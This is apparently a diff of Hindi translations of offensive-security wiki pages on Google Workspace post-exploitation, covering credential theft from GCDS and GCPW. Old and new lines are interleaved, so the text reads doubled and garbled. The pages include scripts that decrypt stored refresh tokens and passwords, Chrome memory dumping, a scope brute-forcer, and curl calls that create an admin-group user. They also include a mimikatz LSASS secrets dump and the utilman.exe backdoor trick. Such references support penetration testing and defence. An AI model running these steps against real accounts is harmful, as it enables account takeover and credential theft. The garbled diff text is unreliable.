आपको संभवतः समूहों में शामिल होने के लिए कंसोल तक पहुंच की आवश्यकता हो सकती है जो संगठन में किसी भी व्यक्ति द्वारा शामिल होने की अनुमति देते हैं। समूहों की जानकारी [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) पर जांचें।
आपको संभवतः उन समूहों में शामिल होने के लिए कंसोल तक पहुंच की आवश्यकता है जो संगठन में किसी भी व्यक्ति द्वारा शामिल होने की अनुमति देते हैं। [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) में समूहों की जानकारी जांचें।
### Access Groups Mail info
यदि आप **एक गूगल उपयोगकर्ता सत्र को समझौता** करने में सफल रहे, तो [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) से आप उ मेल समूहों के लिए भेजे गए मेलों का इतिहास देख सकते हैं, जिनका उपयोगकर्ता सदस्य है, और आप **क्रेडेंशियल्स** या अन्य **संवेदनशील डेटा** पा सकते हैं।
यदि आप **एक google उपयोगकर्ता सत्र को समझौता करने में सफल रहे**, तो [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) से आप उ मेल समूहों के लिए भेजे गए मेल का इतिहास देख सकते हैं जिनका उपयोगकर्ता सदस्य है, और आप **क्रेडेंशियल्स** या अन्य **संवेदनशील डेटा** पा सकते हैं।
## GCP <--> GWS Pivoting
@@ -21,11 +21,11 @@
## Takeout - Download Everything Google Knows about an account
यदि आपके पास **शिकारियों के गूगल खाते के अंदर एक सत्र** है, तो आप [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) से उस खाते के बारे में Google द्वारा सहेजे गए सभी चीजें डाउनलोड कर सकते हैं।
यदि आपके पास **पीड़ित के google खाते के अंदर एक सत्र** है, तो आप [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) से उस खाते के बारे में Google द्वारा सहेजे गए सभी चीजें डाउनलोड कर सकते हैं।
## Vault - Download all the Workspace data of users
यदि किसी संगठन में **Google Vault सक्षम** है, तो आप [**https://vault.google.com**](https://vault.google.com/u/1/) पर पहुंचने में सक्षम हो सकते हैं और **सभी जानकारी** **डाउनलोड** कर सकते हैं।
यदि किसी संगठन में **Google Vault सक्षम** है, तो आप [**https://vault.google.com**](https://vault.google.com/u/1/) तक पहुंचने में सक्षम हो सकते हैं और **सभी जानकारी** **डाउनलोड** कर सकते हैं।
## Contacts download
@@ -33,24 +33,24 @@
## Cloudsearch
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com) में आप बस **सभी वर्कस्पेस सामग्री** (ईमेल, ड्राइव, साइटें...) के माध्यम से खोज सकते हैं, जिनका उपयोगकर्ता को एक्सेस है। संवेदनशील जानकारी को **जल्दी से खोजने** के लिए आदर्श।
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com) में आप बस **सभी Workspace सामग्री** (ईमेल, ड्राइव, साइटें...) के माध्यम से खोज सकते हैं जिनका उपयोगकर्ता को एक्सेस है। संवेदनशील जानकारी को **जल्दी से खोजने** के लिए आदर्श।
## Google Chat
[**https://mail.google.com/chat**](https://mail.google.com/chat) में आप एक Google **चैट** तक पहुंच सकते हैं, और आप बातचीत में संवेदनशील जानकारी पा सकते हैं (यदि कोई हो)।
[**https://mail.google.com/chat**](https://mail.google.com/chat) में आप Google **Chat** तक पहुंच सकते हैं, और आप बातचीत में संवेदनशील जानकारी पा सकते हैं (यदि कोई हो)।
## Google Drive Mining
जब आप एक दस्तावेज़ को **साझा** करते हैं, तो आप **लोगों** को एक-एक करके एक्सेस करने के लिए **निर्धारित** कर सकते हैं, इसे अपनी **पूरी कंपनी** के साथ (**या** कुछ विशेष **समूहों** के साथ) **लिंक** उत्पन्न करके **साझा** कर सकते हैं।
जब आप एक दस्तावेज़ को **शेयर** करते हैं, तो आप **लोगों** को एक-एक करके एक्सेस करने के लिए **निर्धारित** कर सकते हैं, इसे अपनी **पूरी कंपनी** के साथ (**या** कुछ विशिष्ट **groups** के साथ) **लिंक** उत्पन्न करके **शेयर** कर सकते हैं।
दस्तावेज़ साझा करते समय, उन्नत सेटिंग में आप इस फ़ाइल के लिए लोगों को खोजने की भी **अनुमति** दे सकते हैं (डिफ़ॉल्ट रूप से यह **अक्षम** है)। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि एक बार जब उपयोगकर्ता एक दस्तावेज़ को देखते हैं, तो यह उनके द्वारा खोजा जा सकता है।
दस्तावेज़ साझा करते समय, उन्नत सेटिंग में आप इस फ़ाइल के लिए लोगों को खोजने की **अनुमति** भी दे सकते हैं (डिफ़ॉल्ट रूप से यह **अक्षम** है)। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि एक बार जब उपयोगकर्ता एक दस्तावेज़ को देखते हैं, तो यह उनके द्वारा खोजा जा सकता है।
सरलता के लिए, अधिकांश लोग लिंक उत्पन्न और साझा करेंगे बजाय इसके कि वे उन लोगों को एक-एक करके जोड़ें जो दस्तावेज़ तक पहुंच सकते हैं।
सरलता के लिए, अधिकांश लोग एक लिंक उत्पन्न और साझा करेंगे बजाय इसके कि वे उन लोगों को एक-एक करके जोड़ें जो दस्तावेज़ तक पहुंच सकते हैं।
दस्तावेज़ खोजने के लिए कुछ प्रस्तावित तरीके:
दस्तावेज़ों को खोजने के लिए कुछ प्रस्तावित तरीके:
- आंतरिक चैट, फोरम में खोजें...
- **स्पाइडर** ज्ञात **दस्तावेज़ों** में अन्य दस्तावेज़ों के लिए **संदर्भ** खोजें। आप इसे एक ऐप स्क्रिप्ट के भीतर [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) के साथ कर सकते हैं।
- **Spider** ज्ञात **दस्तावेज़ों** में अन्य दस्तावेज़ों के लिए **संदर्भ** खोजें। आप इसे [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) के साथ एक ऐप स्क्रिप्ट के भीतर कर सकते हैं।
## **Keep Notes**
@@ -58,11 +58,11 @@
### Modify App Scripts
[**https://script.google.com/**](https://script.google.com/) में आप उपयोगकर्ता के ऐप स्क्रिप्ट पा सकते हैं।
[**https://script.google.com/**](https://script.google.com/) में आप उपयोगकर्ता के APP Scripts पा सकते हैं।
## **Administrate Workspace**
[**https://admin.google.com**/](https://admin.google.com) में, यदि आपके पास पर्याप्त अनुमतियां हैं, तो आप पूरे संगठन के वर्कस्पेस सेटिंग्स को संशोधित करने में सक्षम हो सकते हैं।
[**https://admin.google.com**/](https://admin.google.com) में, यदि आपके पास पर्याप्त अनुमतियां हैं, तो आप पूरे संगठन के Workspace सेटिंग्स को संशोधित करने में सक्षम हो सकते हैं।
आप [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) में सभी उपयोगकर्ता के चालानों के माध्यम से खोजकर ईमेल भी पा सकते हैं।

View File

@@ -14,7 +14,7 @@
> [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने में सक्षम है, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करें और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** भी।
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ होगा तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ ह तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
@@ -22,7 +22,7 @@
बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से **xml फ़ाइल** में **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है।
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर कुंजी **`open.recent`** हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर की कुंजी **`open.recent`** हाल ही में खोले गए कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी:
```xml
@@ -53,7 +53,7 @@
<details>
<summary>Powershell स्क्रिप्ट refresh token और password को decrypt करने के लिए</summary>
<summary>Powershell स्क्रिप्ट जो refresh token और password को decrypt करती है</summary>
```powershell
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
@@ -150,9 +150,9 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> ध्यान दें कि इस जानकारी की जांच करना संभव है **`DirSync.jar`** के जावा कोड को चेक करके **`C:\Program Files\Google Cloud Directory Sync`** में `exportkeys` स्ट्रिंग को खोजकर (क्योंकि यह वह cli पैरामीटर है जिसे बाइनरी `upgrade-config.exe` कुंज को डंप करने के लिए अपेक्षित करता है)।
> ध्यान दें कि इस जानकारी की जांच करना संभव है **`DirSync.jar`** के java कोड को चेक करके **`C:\Program Files\Google Cloud Directory Sync`** में `exportkeys` स्ट्रिंग को खोजकर (क्योंकि यह cli पैरामीटर है जिसे बाइनरी `upgrade-config.exe` कुंजियों को डंप करने के लिए अपेक्षित करता है)।
पॉवरशेल स्क्रिप्ट का उपयोग करने के बजाय, बाइनरी **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** का उपयोग करना भी संभव है जिसमें पैरामीटर `-exportKeys` है और रजिस्ट्री से **Key** और **IV** को हेक्स में प्राप्त करें और फिर बस कुछ साइबरशेफ का उपयोग करें AES/CBC और उस कुंजी और IV के साथ जानकारी को डिक्रिप्ट करने के लिए।
पॉवरशेल स्क्रिप्ट का उपयोग करने के बजाय, बाइनरी **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** का उपयोग करना भी संभव है जिसमें पैरामीटर `-exportKeys` है और रजिस्ट्री से **Key** और **IV** को हेक्स में प्राप्त करें और फिर बस कुछ cyberchef का उपयोग करें AES/CBC और उस कुंजी और IV के साथ जानकारी को डिक्रिप्ट करने के लिए।
### GCDS - मेमोरी से टोकन डंप करना
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes
### GCDS - स्कोप
> [!NOTE]
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल उन **स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
>
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
डिफ़ॉल्ट रूप से GCSD के पास उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
डिफ़ॉल्ट रूप से GCSD उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
<details>
<summary>Bash script to brute-force scopes</summary>
<summary>Bash स्क्रिप्ट स्कोप्स को ब्रूट-फोर्स करने के लिए</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
#### एक उपयोगकर्ता बनाएं और उसे `gcp-organization-admins` समूह में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash
# Create new user
curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> नए उपयोगकर्ता को सुपर एडमिन भूमिका देना संभव नहीं है क्योंकि **रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं**।
> नए उपयोगकर्ता को Super Amin भूमिका देना संभव नहीं है क्योंकि **रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं**।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -27,17 +27,19 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
नई पंक्तियाँ इसे अधिक पठनीय बनाने के लिए जोड़ी गई हैं।
> [!NOTE]
> यह संभव था कि `Proxifier` को PC में स्थापित करके, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करके और Windows लॉगिन पृष्ठ में **सुविधाओं की पहुंच** को निष्पादित करके एक MitM किया जा सके, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier को लॉन्च और कॉन्फ़िगर** कर सकते हैं।\
> `Proxifier` में **QUICK UDP** ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो जाए और आप इसे देख सकें।
> एक MitM करने के लिए `Proxifier` को PC में स्थापित करना संभव था, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करना और Windows लॉगिन पृष्ठ में **एक्सेसिबिलिटी फीचर्स** को निष्पादित करना, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier को लॉन्च और कॉन्फ़िगर** कर सकते हैं।\
> `Proxifier` में QUICK UDP ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो जाए और आप इसे देख सकें।
>
> "Serviced and other users" में दोनों विकल्पों को भी कॉन्फ़िगर करें और Windows में Burp CA प्रमाणपत्र स्थापित करें।
इसके अलावा, **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजियों को जोड़कर कुछ लॉग स्टोर करना संभव है।
इसके अलावा **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजी जोड़ने से कुछ लॉग स्टोर करना संभव है।
### GCPW - फिंगरप्रिंट
यह जांचना संभव है कि क्या किसी डिवाइस में GCPW स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंजियाँ मौजूद हैं:
यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंज मौजूद हैं:
```powershell
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
@@ -62,9 +64,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
In **`HKCU:\SOFTWARE\Google\Accounts`** उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन किया हो।
**`HKCU:\SOFTWARE\Google\Accounts`** में उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन हुआ हो।
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** यह संभव है कि **domains** को खोजा जा सक जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल मिल सकत है...
**`HKLM:\SOFTWARE\Google\GCPW\Users`** में **domains** को खोजा जा सकता है जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकत हैं।
> [!NOTE]
> टोकन हैंडल एक टोकन है जो `eth.` से शुरू होता है और जिससे कुछ जानकारी निकाली जा सकती है जैसे:
@@ -80,7 +82,7 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** यह संभव है कि **do
> }
> ```
>
> इसके अलावा, एक अनुरोध के साथ एक एक्सेस टोकन का टोकन हैंडल खोजना भी संभव है जैसे:
> इसके अलावा, एक अनुरोध के साथ एक्सेस टोकन का टोकन हैंडल खोजना भी संभव है जैसे:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -96,9 +98,9 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** यह संभव है कि **do
> }
> ```
>
> मेरी जानकारी के अनुसार, टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है।
> मुझे पता है कि टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है।
इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित करने की आवश्यकता नहीं होती)।
इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित होने की आवश्यकता नहीं होती)।
## GCPW - टोकन प्राप्त करें
@@ -108,7 +110,7 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** यह संभव है कि **do
<details>
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
<summary>डेटा प्राप्त करें <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> और refresh_tokens को डिक्रिप्ट करें</summary>
```powershell
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -160,29 +162,27 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
</details>
उदाहरण आउट:
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर तक पहुंचता है, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP_5I) में बताया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर तक पहुंचता है, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**
### GCPW - डिस्क रिफ्रेश टोकन
फाइल **`%LocalAppData%\Google\Chrome\User Data\Local State`** **`refresh_tokens`** को डिक्रिप्ट करने के लिए कुंजी संग्रहीत करती है जो उपयोगकर्ता के **Google Chrome प्रोफाइल** के अंदर स्थित है जैसे:
फाइल **`%LocalAppData%\Google\Chrome\User Data\Local State`** में **`refresh_tokens`** को डिक्रिप्ट करने के लिए कुंजी संग्रहीत होती है जो उपयोगकर्ता के **Google Chrome प्रोफाइल** के अंदर स्थित होती है जैसे:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
इन टोकनों को उनके डिक्रिप्टेड रूप में एक्सेस करने वाले कुछ **C# कोड** को [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) में पाया जा सकता है।
इसके अलावा, एन्क्रिप्टिंग इस कोड में पा जा सकत है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
इसके अलावा, एन्क्रिप्टिंग को इस कोड में पाया जा सकत है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है।
### GCPW - प्रक्रियाओं की मेमोरी से टोकन डंप करना
निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **एक्सेस और रिफ्रेश टोकन** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**
निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **access और refresh tokens** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**
<details>
@@ -262,11 +262,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
मैंने `gcpw_extension.exe` के साथ वही कोशिश की लेकिन यह कोई टोकन नहीं मिला।
किसी कारण से, **कुछ निकाले गए एक्सेस टोकन मान्य नहीं होंगे (हालांकि कुछ होंगे)**। मैंने डंप से मान्य टोकन प्राप्त करने के लिए 1-1 करके अक्षर हटाने के लिए निम्नलिखित स्क्रिप्ट का प्रयास किया। यह मुझे कभी भी मान्य टोकन खोजने में मदद नहीं मिली, लेकिन मुझे लगता है कि यह मदद कर सकता है:
किसी कारण से, **कुछ निकाले गए एक्सेस टोकन मान्य नहीं होंगे (हालांकि कुछ होंगे)**। मैंने डंप से मान्य टोकन प्राप्त करने के लिए एक-एक करके अक्षर हटाने के लिए निम्नलिखित स्क्रिप्ट का प्रयास किया। इसने मुझे मान्य टोकन खोजने में कभी मदद नहीं ी, लेकिन मुझे लगता है कि यह मदद कर सकता है:
<details>
<summary>एक्सेस टोकन को 1-1 करके अक्षर हटाकर जांचें</summary>
<summary>एक-एक करके अक्षर हटाकर एक्सेस टोकन की जांच करें</summary>
```bash
#!/bin/bash
@@ -312,7 +312,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCPW - Scopes
> [!NOTE]
> ध्यान दें कि भले ही आपके पास एक रिफ्रेश टोकन हो, आप एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध नहीं कर सकते क्योंकि आप केवल उन **स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
>
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
@@ -587,7 +587,7 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
कुछ उदाहरण जो उन स्कोप्स में से कुछ का उपयोग करते हैं:
कुछ उदाहरण उन स्कोप्स का उपयोग करते हुए:
<details>
@@ -613,7 +613,7 @@ curl -X GET \
<details>
<summary>https://www.googleapis.com/auth/admin.directory.user</summary> उपयोगकर्ता के लिए प्रशासनिक निर्देशिका पहुंच की अनुमति देता है।
<summary>https://www.googleapis.com/auth/admin.directory.user</summary>
```bash
# List users
curl -X GET \
@@ -701,7 +701,7 @@ curl -X GET \
<details>
<summary>https://www.googleapis.com/auth/spreadsheets</summary>https://www.googleapis.com/auth/spreadsheets</summary>
<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
@@ -760,7 +760,7 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा संरक्षण, खोज और निर्यात के उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है।
**Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा बनाए रखने, खोजने और निर्यात करने के उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है।
- Google Workspace Vault में एक **Matter** एक **container** है जो एक विशिष्ट मामले, जांच, या कानूनी मामले से संबंधित सभी जानकारी को व्यवस्थित और समूहित करता है। यह उस विशेष मुद्दे से संबंधित **Holds**, **Searches**, और **Exports** प्रबंधित करने के लिए केंद्रीय हब के रूप में कार्य करता है।
- Google Workspace Vault में एक **Hold** एक **preservation action** है जो विशिष्ट उपयोगकर्ताओं या समूहों पर लागू होता है ताकि उनके डेटा को Google Workspace सेवाओं के भीतर **हटाने या संशोधित करने** से **रोकने** के लिए। Holds यह सुनिश्चित करते हैं कि प्रासंगिक जानकारी कानूनी मामले या जांच की अवधि के लिए सुरक्षित और अपरिवर्तित बनी रहे।
@@ -791,21 +791,21 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
अधिक [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
</details>
## GCPW - स्पष्ट पाठ पासवर्ड पुनर्प्राप्त करना
GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए, **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है:
GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
फिर छवि में की तरह `Chrome-GCPW-<sid>`े लिए गुप्त खोजें:
